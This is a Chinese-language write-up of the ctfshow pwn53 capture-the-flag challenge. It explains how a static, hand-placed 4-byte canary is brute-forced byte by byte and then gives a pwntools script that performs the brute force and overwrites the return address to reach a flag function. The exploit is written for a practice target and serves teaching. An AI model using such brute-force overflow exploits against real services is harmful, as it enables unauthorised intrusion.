ctfshow-pwn53-类canary爆破
我们先checksec一下:

可以发现,没有开启canary保护,可能是栈溢出,拖入IDA中:

main函数里面执行了这个函数,看来是手动放置了canary,大小为4字节,我们看看接下来的函数:

这个ctfshow函数先是循环读取,每次读取一个字节,直到读取到换行符(ascii:10 0xa),循环读取才会结束,__isoc99_sscanf(v2,”%d”,&nbytes)这个函数从v2中读取一个整数,存放到nbytes变量中,这个变量决定了我们能够向buf写入的数据大小,我们想要造成溢出,这个数据就得大点,接下来,就去比较s1与我们的global_canary是否相同,相同这个函数才能正常返回,造成溢出,后门函数如下:

那我们就得去爆破这个global_canary的值了,这个值是静态的,是不变的,因为它起到的是类似canary的效果,所以我们可以反复连接程序,第一次去覆盖global_canary的一个字节,直到爆破出第一个字节所对应的值后,我们再改为覆盖两个字节,去爆破出第二个字节的值,依次类推,直到第四个字节爆破出来,payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import *
cannry = ""
for i in range(4):
for k in range(256):
sh = remote("pwn.challenge.ctf.show",28130)
sh.recvuntil("How many bytes do you want to write to the buffer?\n>")
sh.sendline("1000")
payload = "A"*(0x20) + cannry + chr(k)
sh.recvuntil("$ ")
sh.send(payload)
data = sh.recv()
print("data:" + data)
if "Where is the flag?" in data:
cannry += chr(k)
print("sucess!!!")
print(cannry)
break
else:
print("no!")
sh.close()
sleep(0.1)
print('cannry------------------>:'+cannry)
sh = remote("pwn.challenge.ctf.show",28130)
flag_address = 0x8048696
payload = "A"*(0x20) + cannry + "A"*(0x10) + p32(flag_address)
sh.recvuntil("How many bytes do you want to write to the buffer?\n>")
sh.sendline("1000")
sh.recvuntil("$ ")
sh.send(payload) sh.interactive()
|